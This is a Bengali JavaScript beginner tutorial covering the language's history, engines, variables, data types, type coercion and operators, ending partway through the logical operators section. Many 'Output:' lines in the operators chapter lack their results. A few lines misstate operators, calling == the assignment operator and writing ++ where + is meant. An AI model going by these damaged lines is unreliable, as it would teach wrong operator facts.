এই Chapter-এ আমরা JavaScript-এর একদম foundation তৈরি করব। পরের chapter-গুলো বুঝতে এই অংশগুলো গভীরভাবে ও নিখুঁতভাবে বোঝা খুব important।
• HTML দিয়ে আমরা webpage-এর structure তৈরি করি।
• CSS দিয়ে webpage-এর design/style করি।
• আর JavaScript দিয়ে webpage-এর behavior/functionality তৈরি করি।
ধরো তুমি একটা house বানাচ্ছো:
| Technology | কাজ | Real-life analogy |
|---|---|---|
| HTML | Structure | বাড়ির কাঠামো |
| CSS | Design | রং, furniture, decoration |
| JavaScript | Behavior | দরজা খোলা, light on/off |
যেমন একটি button: <button>Click Me</button> (HTML শুধু button তৈরি করবে, CSS সুন্দর করবে, কিন্তু click করলে কিছু ঘটাতে JavaScript ব্যবহার করা হয়):
<button onclick="alert('Hello!')">Click Me</button>
একটি webpage JavaScript ছাড়াও তৈরি করা যায়। কিন্তু JavaScript ছাড়া interactive functionality তৈরি করা অসম্ভব হয়ে যায়।
JavaScript দিয়ে আমরা করতে পারি:<button onclick="changeText()">Click Me</button>
<p id="message">Hello</p>
<script>
function changeText() {
document.getElementById("message").textContent = "Welcome!";
}
</script>
এটা beginner-দের একটা common confusion: JavaScript এবং Java একই language নয়। নাম কাছাকাছি হলেও দুটো সম্পূর্ণ আলাদা programming language।
| JavaScript | Java |
|---|---|
| Mainly web development-এ ব্যবহৃত | General-purpose/backend/enterprise ইত্যাদিতে ব্যবহৃত |
| Browser-এ directly run করতে পারে | সাধারণত JVM-এর মাধ্যমে চলে |
| Dynamic language | Statically typed language |
.js file | .java source file |
| Frontend + Backend (Node.js) | Backend + Enterprise + Android history ইত্যাদি |
// JavaScript: let name = "Ripon"; console.log(name); // Java: String name = "Ripon"; System.out.println(name);
JavaScript-এর শুরু হয় 1995 সালে Netscape-এর web browser environment-এ। প্রথমদিকে এর নাম ছিল Mocha, পরে LiveScript, এবং শেষ পর্যন্ত JavaScript নামটি জনপ্রিয় হয়।
JavaScript-এর creator হিসেবে Brendan Eich-কে উল্লেখ করা হয়। তিনি Netscape-এ মাত্র ১০ দিনে JavaScript-এর প্রথম version তৈরি করেন।
Timeline — সহজভাবেECMAScript specification-এর সংস্করণ ক্রম: ES1 → ES2 → ES3 → ES5 → ES6 (ES2015) → ES2016 → ... → Modern ECMAScript
ES6 হলো JavaScript-এর একটি অত্যন্ত গুরুত্বপূর্ণ version, যেটার official নাম ECMAScript 2015 (ES2015)। এটি JavaScript-কে একটি আধুনিক ও অত্যন্ত শক্তিশালী ভাষায় রূপান্তর করে।
let name = "Ripon"; const age = 22; const greet = () => { console.log("Hello"); };
let, const, Arrow Functions, Classes, Template Literals, Destructuring, Spread Operator, Rest Parameters, Promises, Modules এবং আরও অনেক আধুনিক সিনট্যাক্স। তাই modern JavaScript শেখার ক্ষেত্রে ES6+ খুব গুরুত্বপূর্ণ।
যখন তুমি লিখো console.log("Hello");, Browser সরাসরি এই text execute করে না। Browser-এর ভিতরে একটি JavaScript Engine থাকে যা কোড প্রসেস করে।
let x = 10; let y = 20; console.log(x + y);
| Engine | Used by |
|---|---|
| V8 | Google Chrome, Chromium, Node.js, Deno |
| SpiderMonkey | Mozilla Firefox |
| JavaScriptCore (Nitro) | Apple Safari, Bun |
| Chakra | Older Microsoft Edge / IE |
JavaScript শুধু browser-এ চলে—এটা এখন আর পুরোপুরি correct নয়। JavaScript বিভিন্ন environment-এ চলতে পারে:
Browser-এ JavaScript চালানোর সবচেয়ে simple example:
<!DOCTYPE html>
<html>
<head>
<title>JavaScript</title>
</head>
<body>
<h1>Hello JavaScript</h1>
<script>
console.log("Hello JavaScript!");
</script>
</body>
</html>
Chrome / Edge ব্রাউজারে কনসোল খোলার উপায়:
কনসোলে সরাসরি টাইপ করতে পারো:
console.log("Hello World");
HTML-এর সাথে JavaScript যুক্ত করার ৩টি উপায় রয়েছে: 1. Inline, 2. Internal, এবং 3. External।
12.1 Inline JavaScript<button onclick="alert('Hello')">Click Me</button>
HTML ফাইলের ভেতরে <script> ট্যাগের মধ্যে কোড লেখা:
<!DOCTYPE html>
<html>
<body>
<h1>My Website</h1>
<script>
console.log("Hello JavaScript");
</script>
</body>
</html>
Professional development-এ এটিই সবচেয়ে আদর্শ ও বহুল ব্যবহৃত পদ্ধতি। কোড আলাদা .js ফাইলে রাখা হয়।
<script src="script.js"></script>
console.log("Hello from JavaScript!");
HTML-এ জাভাস্ক্রিপ্ট লোড করার জন্য <script> ট্যাগ ব্যবহার করা হয়। External ফাইলের জন্য src attribute ব্যবহৃত হয়:
<script src="script.js"></script>
এখানে script হলো HTML element/tag, আর src হলো attribute।
External script লোডের ক্ষেত্রে defer অত্যন্ত গুরুত্বপূর্ণ:
<script src="script.js" defer></script>
আরেকটি অ্যাট্রিবিউট হলো async:
<script src="script.js" async></script>
Comment হলো এমন লেখা যা ইঞ্জিন এক্সিকিউট করে না, ডেভেলপারদের বোঝার সুবিধার্থে ব্যবহার করা হয়।
Single-line & Multi-line Comments// This is a single-line comment console.log("Hello"); /* This is a multi-line comment */ console.log("Hello"); // Real-life example: Store user's name let name = "Ripon";
let name = "Ripon"; let age = 22; console.log(name); console.log(age);
JavaScript স্টেটমেন্টের শেষে সেমিকোলন ব্যবহার করা যায়। JavaScript-এ Automatic Semicolon Insertion (ASI) মেকানিজম থাকায় এটি অনেক ক্ষেত্রে optional হলেও প্রফেশনাল স্ট্যান্ডার্ড বজায় রাখতে সেমিকোলন ব্যবহার সুপারিশ করা হয়।
let age = 22; console.log(age);
যে কোনো কোড যা হিসাব শেষে একটি মান তৈরি করে তাই Expression।
10 + 20 // produces 30 5 * 10 // produces 50 let x = 10; x + 5 // produces 15 (Expression)
| Expression | Statement |
|---|---|
| যেটি একটি নির্দিষ্ট value তৈরি করে | যেটি জাভাস্ক্রিপ্টকে কোনো কাজ করার instruction দেয় |
যেমন: 10 + 20 (মান: ৩০) | যেমন: let result = 10 + 20; (পুরো লাইনটি স্টেটমেন্ট) |
জাভাস্ক্রিপ্ট শেখা ও ডিবাগিংয়ের প্রধান হাতিয়ার হলো console.log()। এটি কনসোলে মান প্রিন্ট করে দেখায়:
console.log(10); console.log("JavaScript"); console.log(true); let name = "Ripon"; let age = 22; console.log(name, age); // একাধিক মান কমা দিয়ে
একটি লেবেলযুক্ত বাক্সের মতো: বক্সের লেবেল name, আর ভেতরে রাখা মান "Ripon"।
let name = "Ripon"; // name → variable, "Ripon" → value
জাভাস্ক্রিপ্টে ভেরিয়েবল ডিক্লেয়ারের ৩টি কিওয়ার্ড:
var (পুরাতন), let (আধুনিক পরিবর্তনশীল), const (আধুনিক অপরিবর্তনশীল)।
let name = "Ripon"; console.log(name);
let ব্যবহার করে এমন variable তৈরি করা যায় যার value পরে পরিবর্তন বা reassign করা সম্ভব:
let age = 22; console.log(age); age = 23; // মান পরিবর্তন console.log(age);
const ব্যবহার করে এমন binding তৈরি করা হয় যার মান পরবর্তীতে reassign করা যায় না:
const country = "Bangladesh"; console.log(country); // country = "India"; // TypeError: Assignment to constant variable!
var হলো জাভাস্ক্রিপ্টের পুরোনো ভেরিয়েবল ডিক্লারেশন কিওয়ার্ড। Modern কোডে এর ব্যবহার অনুৎসাহিত করা হয় কারণ এর ফাংশন স্কোপ এবং হোইস্টিং অনিচ্ছাকৃত বাগ তৈরি করতে পারে:
var name = "Ripon"; console.log(name);
| Feature | var | let | const |
|---|---|---|---|
| Modern code-এ ব্যবহার | কম ব্যবহৃত (Legacy) | বেশি ব্যবহৃত | সবচেয়ে বেশি ব্যবহৃত |
| Reassign করা যায়? | ✅ হ্যাঁ | ✅ হ্যাঁ | ❌ না |
| Block scoped? | ❌ না (Function scoped) | ✅ হ্যাঁ | ✅ হ্যাঁ |
| Redeclare একই স্কোপে? | ✅ সম্ভব | ❌ এরর দেয় | ❌ এরর দেয় |
| Hoisting Behavior | Undefined ইনিশিয়ালাইজড | TDZ (Temporal Dead Zone) | TDZ |
const দিয়ে শুরু করবে। যদি পরবর্তীতে মান reassign করার প্রয়োজন পড়ে, তখন let ব্যবহার করবে।
ভেরিয়েবল নামকরণের কঠোর নিয়মাবলী:
Valid Identifiers:let name;, let userName;, let user_name;, let age2;, let $price;, let _value;
let 2age; (সংখ্যা দিয়ে শুরু করা নিষিদ্ধ!)
let user-name; (হাইফেন বিয়োগ চিহ্ন হিসেবে গণ্য হয়, চলকে ব্যবহার নিষিদ্ধ!)
JavaScript সম্পূর্ণ case-sensitive। অর্থাৎ ছোট হাতের ও বড় হাতের অক্ষরের চলক সম্পূর্ণ আলাদা সত্ত্বা:
let name = "Ripon"; console.log(name); // Ripon // console.log(Name); // ReferenceError: Name is not defined
name ≠ Name ≠ NAME (প্রতিটি আলাদা identifier)।
JavaScript ইকোসিস্টেমে সর্বদা camelCase কনভেনশন অনুসরণ করা হয়:
Good (camelCase):firstName, lastName, userAge, totalPrice, isLoggedIn
firstname (পড়তে কষ্ট), FirstName (ক্লাসের জন্য সংরক্ষিত), first_name (পাইথনে ব্যবহৃত হয়, JS-এ পরিহার্য)।
let name = "Ripon"; let age = 22; let country = "Bangladesh"; console.log(name); console.log(age); console.log(country);
let score = 50; score = 80; // Updated console.log(score);
const pi = 3.14159; console.log(pi); // pi = 4; // TypeError: Assignment to constant variable!
জাভাস্ক্রিপ্টে মূলত ৭টি প্রিমিটিভ টাইপ ও ১টি নন-প্রিমিটিভ (Object) টাইপ রয়েছে:
let name = "Ripon"; // String let age = 22; // Number let isStudent = true; // Boolean let result; // Undefined let data = null; // Null
কোনো value কোন type-এর তা রানটাইমে জানার জন্য typeof অপারেটর ব্যবহার করা হয়:
console.log(typeof "Hello"); // string console.log(typeof 100); // number console.log(typeof true); // boolean
console.log(typeof "Ripon"); // string console.log(typeof 22); // number console.log(typeof true); // boolean console.log(typeof undefined); // undefined console.log(typeof 123n); // bigint console.log(typeof null); // object (Historical Quirk!)
typeof null === "object" জাভাস্ক্রিপ্টের প্রথম সংস্করণের একটি পরিচিত ঐতিহাসিক বাগ যা ব্যাকওয়ার্ড কম্প্যাটিবিলিটির জন্য অপরিবর্তিত রাখা হয়েছে।
এখন আমরা কয়েকটা কনসেপ্ট একসাথে যুক্ত করে একটি বাস্তব উদাহরণ তৈরি করি:
const name = "Shariar"; let age = 22; const country = "Bangladesh"; console.log("Name:", name); console.log("Age:", age); console.log("Country:", country);
const studentName = "Shariar Ahamed Ripon"; const studentId = "231-15-010"; let semester = 8; const department = "CSE"; console.log("Student Name:", studentName); console.log("Student ID:", studentId); console.log("Semester:", semester); console.log("Department:", department);
| Topic | মূল কথা |
|---|---|
| JavaScript | Webpage-কে dynamic ও interactive করতে ব্যবহৃত language |
| ECMAScript | JavaScript-এর standardized specification |
| ES6 | ECMAScript 2015; modern JS-এর গুরুত্বপূর্ণ milestone |
| JavaScript Engine | JavaScript code execute করে |
| V8 | Chrome ও Node.js-এর JavaScript engine |
| Browser | JavaScript run করার একটি ক্লায়েন্ট environment |
| Node.js | Browser-এর বাইরে JavaScript runtime |
<script> | HTML-এর সাথে JS যুক্ত করার element |
defer | HTML parsing শেষের পর script execute করতে সাহায্য করে |
| Comment | Code explanation-এর জন্য (ইঞ্জিন এড়িয়ে চলে) |
| Statement | JavaScript-এর instruction |
| Expression | Value produce করে |
| Variable | Value/reference রাখার জন্য named binding |
let | Reassign করা যায় |
const | Reassign করা যায় না |
var | পুরোনো variable declaration mechanism |
typeof | Value-এর type জানতে সাহায্য করে |
| Case Sensitive | name এবং Name আলাদা চলক |
তোমার Name, Age, University, Department এবং Country চলকে সংরক্ষণ করে console.log() দিয়ে প্রিন্ট করো।
নিচের ভ্যালুগুলোর টাইপ typeof দিয়ে বের করো:
"Hello" 100 true undefined null 123n
একটি let ভ্যারিয়েবল score = 50 তৈরি করো, তারপর সেটাকে 80-তে পরিবর্তন করে কনসোলে প্রিন্ট করো।
একটি const variable তৈরি করে পরে পরিবর্তন করার চেষ্টা করো এবং browser console-এ কী error আসে তা পর্যবেক্ষণ করো।
একটি পূর্ণাঙ্গ ছাত্র বিবরণী তৈরি করো: Name, ID, Department, Semester, CGPA, University। সব ডেটা ভ্যারিয়েবলে রেখে কনসোলে ফরম্যাটেড আকারে প্রিন্ট করো।
এই ফ্লো-টি মাথায় গভীরভাবে গেঁথে নাও:
Chapter 2-এ আমরা JavaScript-এর Variables, Data Types & Type System আরও গভীরভাবে ধরব — String, Number, Boolean, Undefined, Null, BigInt, Symbol, Object, typeof, primitive vs non-primitive, memory/reference ধারণা, এবং type conversion/coercion ধাপে ধাপে code + output সহ।
Chapter 1-এ আমরা JavaScript কী, কীভাবে run করে, variable কী এবং let, const, var সম্পর্কে basic ধারণা নিয়েছি। এখন আমরা JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ foundation — Data Types & Type System পুঙ্খানুপুঙ্খভাবে শিখব। এই অধ্যায়টি আয়ত্ত করলে পরবর্তী অধ্যায়গুলোর Operators, Conditions, Functions, Arrays, Objects, DOM এবং API বোঝা অত্যন্ত সহজ হয়ে যাবে।
একজন ছাত্রের পরিচয়:
const name = "Ripon"; const age = 22; const cgpa = 3.75; const isStudent = true;
"Hello" → String | 100 → Number | true → Boolean
জাভাস্ক্রিপ্ট ডেটা টাইপকে প্রধানত ২টি ভাগে ভাগ করা হয়:
Primitive: JavaScript-এর basic ও immutable value type (যেমন: String, Number, Boolean)।
Non-Primitive: মূলত Object/Reference-based structured collection (যেমন: { name: "Ripon", age: 22 })।
const name = "Ripon";
জাভাস্ক্রিপ্টে স্ট্রিং ৩ ভাবে লেখা যায় (তিনটিই বৈধ):
const dQuotes = "Ripon"; // Double Quotes const sQuotes = 'Ripon'; // Single Quotes const bTicks = `Ripon`; // Backticks (Template Literals)
const firstName = "Shariar"; const lastName = "Ahamed"; console.log(firstName); console.log(lastName);
+ অপারেটর দিয়ে একাধিক String যুক্ত করা যায়:
const firstName = "Shariar"; const lastName = "Ahamed"; const fullName = firstName + " " + lastName; console.log(fullName);
Modern JavaScript (ES6)-এ ব্যাকটিক ` এবং ${variable} দিয়ে সহজে স্ট্রিং ইন্টারপোলেশন করা যায়:
const name = "Ripon"; const age = 22; console.log(`My name is ${name} and I am ${age} years old.`);
জাভাস্ক্রিপ্টের Number টাইপ পূর্ণসংখ্যা (Integer), দশমিক (Decimal/Floating-point) এবং ঋণাত্মক (Negative) সব সংখ্যাকেই রিপ্রেজেন্ট করে:
const age = 22; // Integer const cgpa = 3.75; // Decimal const temperature = -5; // Negative
const age = 22; const price = 499.99; const temperature = -10; console.log(age); console.log(price); console.log(temperature);
console.log(typeof 100); // number console.log(typeof 3.14); // number
জাভাস্ক্রিপ্টের Number টাইপের মধ্যে ৩টি অত্যন্ত গুরুত্বপূর্ণ স্পেশাল ভ্যালু রয়েছে:
Infinity (অসীম ধনাত্মক), -Infinity (অসীম ঋণাত্মক), NaN (Not a Number)
কোনো সংখ্যাকে 0 দিয়ে ভাগ করলে এরর না দিয়ে জাভাস্ক্রিপ্ট Infinity রিটার্ন করে:
console.log(10 / 0);
গাণিতিকভাবে অর্থহীন অপারেশন করলে NaN তৈরি হয়:
console.log("Hello" * 5); console.log(Number("abc"));
Not a Number হলেও এর টাইপ হলো number! কারণ specification অনুযায়ী এটি Number টাইপের একটি invalid numeric state নির্দেশক।
console.log(typeof NaN);বুলিয়ানের মাত্র দুটি মান: true অথবা false।
const isLoggedIn = true; const isAdmin = false; console.log(isLoggedIn); console.log(isAdmin);
ওয়েবসাইটে ইউজার লগইন স্ট্যাটাস চেক করে কন্ডিশনাল রেন্ডারিং:
const isLoggedIn = true; if (isLoggedIn) { console.log("Welcome back!"); }
একটি ভ্যারিয়েবল ডিক্লেয়ার করা হয়েছে কিন্তু কোনো ভ্যালু এসাইন করা হয়নি:
let name;
console.log(name);
let result; console.log(result); console.log(typeof result);
এখানে ভ্যালুও undefined, এবং টাইপও undefined।
let selectedUser = null; console.log(selectedUser);
undefined | null |
|---|---|
| "আমি এখনো কোনো ভ্যালু পাইনি।" (ইঞ্জিনের অটোমেটিক ইনিশিয়াল মান) | "আমি ইচ্ছা করে বলছি এখানে কোনো ভ্যালু নেই।" (প্রোগ্রামারের সচেতন এসাইনমেন্ট) |
let user; | let user = null; |
console.log(typeof null);
typeof null === "object" জাভাস্ক্রিপ্টের প্রথম সংস্করণের একটি পরিচিত ঐতিহাসিক বাগ। ব্যাকওয়ার্ড কম্প্যাটিবিলিটির জন্য এটি ফিক্স করা হয়নি।
Number টাইপ 2^53 - 1 এর বেশি বড় পূর্ণসংখ্যায় প্রিসিশন ধরে রাখতে পারে না। বিশাল পূর্ণসংখ্যা নির্ভুলভাবে সংরক্ষণের জন্য BigInt ব্যবহৃত হয়। সংখ্যার শেষে n দিলে BigInt literal তৈরি হয়:
const bigNumber = 123456789012345678901234567890n; console.log(bigNumber);
const num = 12345678901234567890n; console.log(typeof num); // bigint const a = 10n; const b = 20n; console.log(a + b); // 30n
10n + 20 দিলে TypeError: Cannot mix BigInt and other types হবে!
Symbol হলো একটি সম্পূর্ণ ইউনিক এবং ইমিউটেবল প্রিমিটিভ ভ্যালু, যা অবজেক্টের হিডেন বা ইউনিক প্রোপার্টি কি তৈরিতে ব্যবহৃত হয়:
const id = Symbol("id"); console.log(id);
const a = Symbol("id"); const b = Symbol("id"); console.log(a === b);
যদিও description একই ("id"), তবুও দুটো Symbol আলাদা।
Symbol("id") ≠ Symbol("id") (দুটো Symbol সম্পূর্ণ স্বতন্ত্র। এটা advanced JavaScript-এ অবজেক্ট প্রোপার্টি লুকিয়ে রাখতে কাজে লাগে)।
Object হলো সম্পর্কিত ডেটা এবং ফাংশনালিটিকে Key-Value পেয়ার আকারে সংরক্ষণ করার কাঠামো:
const student = { name: "Ripon", age: 22, department: "CSE" };
ডট নোটেশন (Dot notation) দিয়ে অবজেক্টের মান অ্যাক্সেস করা যায়:
const student = { name: "Ripon", age: 22 }; console.log(student.name); console.log(student.age);
Array হলো একাধিক value ordered collection হিসেবে রাখার জন্য ব্যবহৃত structure। প্রতিটি element-এর শূন্যভিত্তিক index থাকে:
const fruits = ["Apple", "Mango", "Banana"]; console.log(fruits);
জাভাস্ক্রিপ্টে Array আসলে বিশেষায়িত Object:
const fruits = ["Apple", "Mango"]; console.log(typeof fruits);
Function হলো পুনরায় ব্যবহারযোগ্য কোডের ব্লক। জাভাস্ক্রিপ্টে ফাংশন ফার্স্ট-ক্লাস সিটিজেন:
function greet() { console.log("Hello!"); } greet(); console.log(typeof greet);
const name = "Ripon"; // String const age = 22; // Number const huge = 123456789n; // BigInt const isStudent = true; // Boolean let result; // Undefined const empty = null; // Null const id = Symbol("id"); // Symbol
| Value | typeof Output | মন্তব্য |
|---|---|---|
"Hello" | "string" | Primitive string |
100 | "number" | Primitive numeric |
10n | "bigint" | Arbitrary precision integer |
true | "boolean" | Primitive boolean |
undefined | "undefined" | Declared without value |
null | "object" | ⚠️ Historical language quirk |
{} | "object" | Plain object literal |
[] | "object" | Array is a specialized object |
function(){} | "function" | Callable object |
JavaScript একটি dynamically typed language। চলকের টাইপ আগে থেকে নির্ধারণ করতে হয় না, এবং একই ভ্যারিয়েবলে রানটাইমে বিভিন্ন টাইপের মান এসাইন করা যায়:
let value = 100; console.log(typeof value); // number value = "Hello"; console.log(typeof value); // string
জাভাস্ক্রিপ্টে C/Java-এর মতো int age = 22; লিখতে হয় না। let age = 22; লিখলে ইঞ্জিন স্বয়ংক্রিয়ভাবে ভ্যালু দেখে ডেটা টাইপ বুঝে নেয়।
let product = 500; console.log(product); product = "Out of Stock"; console.log(product);
এক টাইপের ডেটাকে অন্য টাইপে রূপান্তর করাকে Type Conversion বলে: String → Number, Number → String, Value → Boolean।
const value = "100"; const number = Number(value); console.log(number); console.log(typeof number);
const age = 22; const text = String(age); console.log(text); console.log(typeof text);
console.log(Boolean(1)); console.log(Boolean(0));
জাভাস্ক্রিপ্টে ৮টি মান বুলিয়ান কনটেক্সটে সর্বদা false দেয়:
false, 0, -0, 0n, "" (খালি স্ট্রিং), null, undefined, NaN
console.log(Boolean("")); // false console.log(Boolean("Hello")); // true
Type conversion এবং coercion-এর মধ্যে সূক্ষ্ম কিন্তু মৌলিক পার্থক্য রয়েছে:
Type Conversion (Explicit — প্রোগ্রামার নিজে করে)Number("100"); // 100 (Explicitly সংখ্যায় রূপান্তর)
console.log("10" + 5);
কারণ এখানে জাভাস্ক্রিপ্ট কনটেক্সট বুঝে 5-কে স্ট্রিং বানিয়ে কনক্যাট করেছে।
// + অপারেটর স্ট্রিং পেলে কনক্যাট (যোগ) করে: console.log("10" + 5); // "105" // - অপারেটর কেবল সংখ্যা বোঝে, তাই "10"-কে Number বানিয়ে বিয়োগ করে: console.log("10" - 5); // 5
console.log("5" * 2); // 10 console.log("10" / 2); // 5 console.log("10" - 3); // 7 console.log("10" + 3); // 103
const age = Number("22");
console.log("22" - 2);
JavaScript-এ দুই ধরনের equality operator আছে: == এবং ===। এগুলো অত্যন্ত গুরুত্বপূর্ণ এবং পরবর্তী Chapter 3 (Operators)-এ বিস্তারিত আলোচনা করা হবে। নিচে এদের মৌলিক পার্থক্য তুলে ধরা হলো:
console.log(5 == "5");
console.log(5 === "5");
Loose Equality == | Strict Equality === |
|---|---|
| তুলনার আগে স্বয়ংক্রিয় টাইপ রূপান্তর (Coercion) ঘটায় | মান (Value) এবং টাইপ (Type) উভয়ই কঠোরভাবে পরীক্ষা করে |
5 == "5" → true | 5 === "5" → false |
=== ব্যবহার করা বেশি predictable ও নিরাপদ।
Primitive values-কে সাধারণভাবে immutable বলা হয়। এর মানে primitive value-কে সরাসরি modify করা যায় না; নতুন value তৈরি হয়।
let name = "Ripon"; name[0] = "X"; // String-এর character এভাবে modify হয় না console.log(name);
যদি নতুন value দিতে চাও, তবে নতুন value assign করতে হবে:
name = "Xipon"; // এখানে নতুন String value assign হচ্ছে — আগের String পরিবর্তন হচ্ছে না
প্রিমিটিভে Value Copy হয়:
let a = 10; let b = a; b = 20; console.log(a); // 10 console.log(b); // 20
অবজেক্টের ক্ষেত্রে ভ্যালু কপি হয় না, মেমোরি Reference (ঠিকানা) শেয়ার হয়:
const person1 = { name: "Ripon" }; const person2 = person1; person2.name = "Shariar"; // person2 দিয়ে পরিবর্তন করা হলো console.log(person1.name); console.log(person2.name);
অনেকে ভাবে: const হলে object-এর ভিতরের value change করা যাবে না। এটা পুরোপুরি ঠিক নয়।
const user = { name: "Ripon" }; user.name = "Shariar"; // প্রোপার্টি পরিবর্তন করা সম্পূর্ণ বৈধ! console.log(user.name);
কাজ করেছে। কিন্তু অবজেক্টের ভ্যারিয়েবল বাইন্ডিং রি-অ্যাসাইন করা যাবে না:
// user = {}; // ❌ TypeError: Assignment to constant variable! // কারণ const binding-কে নতুন object-এ reassign করা যাবে না।
const fruits = ["Apple", "Mango"]; fruits.push("Banana"); // সম্পূর্ণ বৈধ! console.log(fruits); // fruits = ["Orange"]; // TypeError: Assignment to constant variable!
এই অধ্যায়ের সমস্ত ডেটা টাইপের সমন্বয়ে একটি বাস্তব উদাহরণ:
const name = "Shariar"; let age = 22; const cgpa = 3.75; const isStudent = true; let university; const address = null; const skills = ["HTML", "CSS", "JavaScript"]; const student = { name, age, cgpa }; console.log(name, age, cgpa, isStudent, university, address); console.log(skills); console.log(student);
| Data Type | Example | typeof Output |
|---|---|---|
| String | "Hello" | "string" |
| Number | 100 | "number" |
| BigInt | 100n | "bigint" |
| Boolean | true | "boolean" |
| Undefined | undefined | "undefined" |
| Null | null | "object"* |
| Symbol | Symbol("id") | "symbol" |
| Object | {name: "Ripon"} | "object" |
| Array | [1, 2, 3] | "object" |
| Function | function(){} | "function" |
const name = "Ripon"; const age = 22; const cgpa = 3.75; const isStudent = true; console.log(typeof name, typeof age, typeof cgpa, typeof isStudent);
আউটপুট কী হবে? (Expected: string number number boolean)
console.log("10" + 5);
console.log("10" - 5);
console.log("10" * 2);
console.log("10" / 2);আউটপুট প্রেডিক্ট করো। (Expected: "105", 5, 20, 5)
console.log(Boolean(0));
console.log(Boolean(1));
console.log(Boolean(""));
console.log(Boolean("JavaScript"));
console.log(Boolean(null));
console.log(Boolean(undefined));let value = 100; console.log(typeof value); value = "JavaScript"; console.log(typeof value); value = true; console.log(typeof value);
const user1 = { name: "Ripon" };
const user2 = user1;
user2.name = "Shariar";
console.log(user1.name); // আউটপুট কেন "Shariar" হবে তা ব্যাখ্যা করো!const name = "Shariar"; const age = 22; const studentId = "231-15-010"; const cgpa = 3.75; const isStudent = true; const skills = ["HTML", "CSS", "JavaScript"]; const address = { city: "Dhaka", country: "Bangladesh" }; console.log("Name:", name); console.log("Age:", age); console.log("Student ID:", studentId); console.log("CGPA:", cgpa); console.log("Student:", isStudent); console.log("Skills:", skills); console.log("Address:", address);
Chapter 2-এর core foundation এখানেই। এর পরের logical step হলো Chapter 3 — Operators & Expressions, যেখানে +, -, *, /, %, **, assignment, comparison, logical, ternary, nullish coalescing এবং optional chaining বিস্তারিত শেখা হবে।
Chapter 2-এ আমরা Data Types নিয়ে বিস্তারিত জেনেছি। কিন্তু শুধু data জমা রাখলে program চলে না। Program চলার জন্য data নিয়ে হিসাব করতে হয়, তুলনা করতে হয় এবং সিদ্ধান্ত নিতে হয়। এই সব কাজের জন্য প্রয়োজন Operators এবং Expressions।
Example:
10 + 5
এখানে:
Result:
Operator যে value-এর উপর কাজ করে, তাকে operand বলে।
Example:
20 - 8
এখানে:
আর:
x * 10
এখানে:
Example:
10 + 20
Result:
আর:
age >= 18
Result হতে পারে:
5 * 10
"Hello" + " World"
20 > 10
সবগুলো expression।
JavaScript-এ অনেক ধরনের operator রয়েছে।
আমরা এই chapter-এ শিখব:
1. Arithmetic Operators
2. Assignment Operators
3. Comparison Operators
4. Equality Operators
5. Logical Operators
6. Unary Operators
7. Increment/Decrement
8. Ternary Operator
9. Nullish Coalescing Operator
10. Optional Chaining
11. Bitwise Operators
12. typeof
13. in
14. instanceof
15. Operator Precedence
Arithmetic operators mathematical calculation করার জন্য ব্যবহার হয়।
প্রধান arithmetic operators:
+const a = 10; const b = 20; console.log(a + b);
Output:
ধরো:
const productPrice = 500; const deliveryCharge = 100; const total = productPrice + deliveryCharge; console.log(total);
Output:
++ শুধু number যোগ করে না। String combine-ও করতে পারে।
const firstName = "Shariar"; const lastName = "Ripon"; console.log(firstName + " " + lastName);
Output:
-const a = 50; const b = 20; console.log(a - b);
Output:
const balance = 1000; const expense = 250; const remaining = balance - expense; console.log(remaining);
Output:
*const price = 500; const quantity = 3; console.log(price * quantity);
Output:
একটি product-এর price ৳500 এবং quantity 3 হলে total:
/const totalMarks = 400; const subjects = 4; console.log(totalMarks / subjects);
Output:
%এটা খুব important।
% remainder বা ভাগশেষ বের করে।
console.log(10 % 3);
Output:
কারণ:
তাই:
একটি number even না odd সেটা বের করতে % ব্যবহার করা যায়।
const number = 10; console.log(number % 2);
Output:
কারণ 10 সম্পূর্ণভাবে 2 দিয়ে divisible।
আর:
const number = 7; console.log(number % 2);
Output:
const number = 15;
if (number % 2 === 0) {
console.log("Even");
} else {
console.log("Odd");
}Output:
এখানে আমরা ব্যবহার করেছি:
%===ifelseif/else আমরা পরের chapter-এ বিস্তারিত শিখব।
**Power বা exponent বের করার জন্য:
console.log(2 ** 3);
Output:
কারণ:
আর:
console.log(5 ** 2);
Output:
| Operator | কাজ | Example | Result |
|---|---|---|---|
+ | Addition | 10 + 5 | 15 |
- | Subtraction | 10 - 5 | 5 |
* | Multiplication | 10 * 5 | 50 |
/ | Division | 10 / 5 | 2 |
% | Remainder | 10 % 3 | 1 |
** | Power | 2 ** 3 | 8 |
== হলো assignment operator।
এটি comparison করে না।
let age = 22;
এর অর্থ:
age variable-এর মধ্যে 22 value assign করো।let score = 50; score = 80; console.log(score);
Output:
প্রথমে:
পরে:
JavaScript-এ shortcut assignment operator আছে।
+=let score = 50; score += 10; console.log(score);
Output:
এটা essentially:
score = score + 10;
এর shortcut।
-=let balance = 1000; balance -= 250; console.log(balance);
Output:
Equivalent:
balance = balance - 250;
*=let price = 100; price *= 5; console.log(price);
Output:
Equivalent:
price = price * 5;
/=let amount = 1000; amount /= 4; console.log(amount);
Output:
%=let number = 17; number %= 5; console.log(number);
Output:
কারণ:
**=let number = 2; number **= 3; console.log(number);
Output:
Equivalent:
number = number ** 3;
Comparison operator দুইটি value compare করে এবং সাধারণত Boolean result দেয়:
প্রধান operators:
>console.log(10 > 5);
Output:
কারণ 10 বড় 5 থেকে।
<console.log(5 < 10);
Output:
>=console.log(10 >= 10);
Output:
কারণ 10, 10-এর সমান।
আর:
console.log(15 >= 10);
Output:
<=console.log(10 <= 10);
Output:
==== value compare করার সময় type coercion করতে পারে।
console.log(5 == "5");
Output:
কারণ JavaScript এখানে type conversion করে comparison করতে পারে।
====== value এবং type—দুটোই compare করে।
console.log(5 === "5");
Output:
কারণ:
Value দেখতে একই হলেও type আলাদা।
== vs ===এটা খুব ভালোভাবে মনে রাখবে।
console.log(10 == "10");
Output:
কিন্তু:
console.log(10 === "10");
Output:
সাধারণত comparison করার সময়:
===
এবং:
!==
ব্যবহার করা বেশি predictable।
!=!= value equal নয় কিনা check করে এবং type coercion করতে পারে।
console.log(5 != "5");
Output:
কারণ loose comparison অনুযায়ী তারা equal।
!==!== value অথবা type—যেকোনো একটি আলাদা হলে true দেয়।
console.log(5 !== "5");
Output:
কারণ type আলাদা।
| Operator | Meaning |
|---|---|
> | Greater than |
< | Less than |
>= | Greater than or equal |
<= | Less than or equal |
== | Loose equality |
=== | Strict equality |
!= | Loose inequality |
!== | Strict inequality |
Logical operators একাধিক condition/value নিয়ে কাজ করতে পারে।
প্রধান তিনটি:
&&&& তখন true হয় যখন দুই পাশের condition-ই truthy/true হয়।
